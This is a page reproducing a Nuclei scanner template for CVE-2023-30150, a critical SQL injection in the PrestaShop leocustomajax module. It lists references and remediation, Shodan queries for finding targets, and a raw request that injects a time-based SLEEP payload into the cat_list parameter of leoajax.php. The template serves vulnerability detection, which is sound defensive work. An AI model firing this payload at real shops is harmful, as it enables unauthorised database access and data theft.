PrestaShop leocustomajax 1.0 & 1.0.0 - SQL Injection

ID: CVE-2023-30150

Severity: critical

Author: mastercho

Tags: time-based-sqli,cve2023,cve,prestashop,sqli,leotheme

Description

PrestaShop leocustomajax 1.0 and 1.0.0 are vulnerable to SQL Injection via modules/leocustomajax/leoajax.php.

YAML Source

id: CVE-2023-30150

info:
  name: PrestaShop leocustomajax 1.0 & 1.0.0 - SQL Injection
  author: mastercho
  severity: critical
  description: |
    PrestaShop leocustomajax 1.0 and 1.0.0 are vulnerable to SQL Injection via modules/leocustomajax/leoajax.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the PrestaShop application and its underlying database.
  remediation: |
    Apply the latest security patch or upgrade to a patched version of PrestaShop leocustomajax plugin to mitigate the SQL Injection vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30150
    - https://security.friendsofpresta.org/module/2023/06/06/leocustomajax.html
    - https://www.tenable.com/cve/CVE-2023-30150
    - https://friends-of-presta.github.io/security-advisories/module/2023/06/06/leocustomajax.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-30150
    cwe-id: CWE-89
    epss-score: 0.04505
    epss-percentile: 0.92462
    cpe: cpe:2.3:a:leotheme:leocustomajax:1.0.0:*:*:*:*:prestashop:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: leotheme
    product: leocustomajax
    framework: prestashop
    shodan-query:
      - http.component:"Prestashop"
      - http.component:"prestashop"
  tags: time-based-sqli,cve2023,cve,prestashop,sqli,leotheme

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        @timeout: 20s
        GET /modules/leocustomajax/leoajax.php?cat_list=(SELECT(0)FROM(SELECT(SLEEP(6)))a) HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=6'
          - 'contains(tolower(response_1), "prestashop")'
        condition: and
# digest: 4b0a004830460221009f24bb4d84b324464fd5294fc159775e01363b9a9be3b0c27c2fd900ae6bcfe6022100fe9396e3ed2456dd1c13941a1f44684b103d66200ab08a3a8976d7c75ad4b503:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-30150.yaml"

View on Github